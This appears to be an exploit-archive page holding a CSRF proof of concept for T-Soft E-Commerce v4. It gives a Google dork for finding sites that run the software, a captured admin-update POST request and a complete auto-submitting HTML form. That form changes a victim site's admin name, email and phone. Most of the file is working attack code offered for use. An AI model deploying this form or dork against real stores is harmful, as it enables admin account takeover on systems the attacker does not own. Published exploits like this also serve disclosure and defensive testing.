5cc446a25f
6 changes to exploits/shellcodes T-Soft E-Commerce 4 - change 'admin credentials' Cross-Site Request Forgery (CSRF) Church Management System 1.0 - 'search' SQL Injection (Unauthenticated) WordPress 5.7 - 'Media Library' XML External Entity Injection (XXE) (Authenticated) Online Food Ordering System 2.0 - Remote Code Execution (RCE) (Unauthenticated) Church Management System 1.0 - Remote Code Execution (RCE) (Unauthenticated) Budget and Expense Tracker System 1.0 - Authenticated Bypass
74 lines
No EOL
1.8 KiB
Text
74 lines
No EOL
1.8 KiB
Text
# Exploit Title: T-Soft E-Commerce 4 - change 'admin credentials' Cross-Site Request Forgery (CSRF)
|
||
# Exploit Author: Alperen Ergel
|
||
# Software Homepage: https://www.tsoft.com.tr/
|
||
# Version : v4
|
||
# Tested on: Kali Linux (2021.4) / xammp
|
||
# Category: WebApp
|
||
# Google Dork: intext:'T-Soft E-Ticaret Sistemleriyle Hazırlanmıştır.'"
|
||
# Date: 2021-08-15
|
||
######## Description ########
|
||
#
|
||
# Attacker can change admin informaiton
|
||
#
|
||
#
|
||
######## Proof of Concept ########
|
||
|
||
POST /srv/service/admin/updateuserinfo HTTP/1.1
|
||
|
||
Host: localhost
|
||
|
||
Cookie: lang=tr; PHPSESSID=f2904b66de6c0e7ac0d4a9707b9f978c; rest1SupportUser=0; countryCode=TR; nocache=1; yayinlanmaDurumuPopup=1; yayinlanmaDurumuPopupTimeout=864000; webpush=1; U_TYPE_CK=131; U_TYPE_OK=c16a5320fa475530d9583c34fd356ef5; TSOFT_LOGGED=7d025a34d0526c8896d713159b0d1ffe; email=; phone=; password=
|
||
|
||
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
|
||
|
||
Accept: application/json, text/javascript, */*; q=0.01
|
||
|
||
Accept-Language: en-US,en;q=0.5
|
||
|
||
Accept-Encoding: gzip, deflate
|
||
|
||
Content-Type: application/x-www-form-urlencoded
|
||
|
||
X-Requested-With: XMLHttpRequest
|
||
|
||
Content-Length: 74
|
||
|
||
Origin: http://localhost
|
||
|
||
Referer: http://localhost/Y/
|
||
|
||
Te: trailers
|
||
|
||
Connection: close
|
||
|
||
|
||
|
||
firstName=Victim&lastName=victim&email=victim%40mail.com&phone=12584368595
|
||
|
||
|
||
|
||
|
||
####### EXPLOIT ##################
|
||
<html>
|
||
|
||
<body>
|
||
|
||
<script>history.pushState('', '', '/')</script>
|
||
|
||
<form action="victimsite.com/srv/service/admin/updateuserinfo" method="POST">
|
||
|
||
<input type="hidden" name="firstName" value="[CHANGEHERE]" />
|
||
|
||
<input type="hidden" name="lastName" value="[CHANGEHERE]" />
|
||
|
||
<input type="hidden" name="email" value="[CHANGEHERE]" />
|
||
|
||
<input type="hidden" name="phone" value="[CHANGEHERE]" />
|
||
|
||
<input type="submit" value="Submit request" />
|
||
|
||
</form>
|
||
|
||
</body>
|
||
|
||
</html> |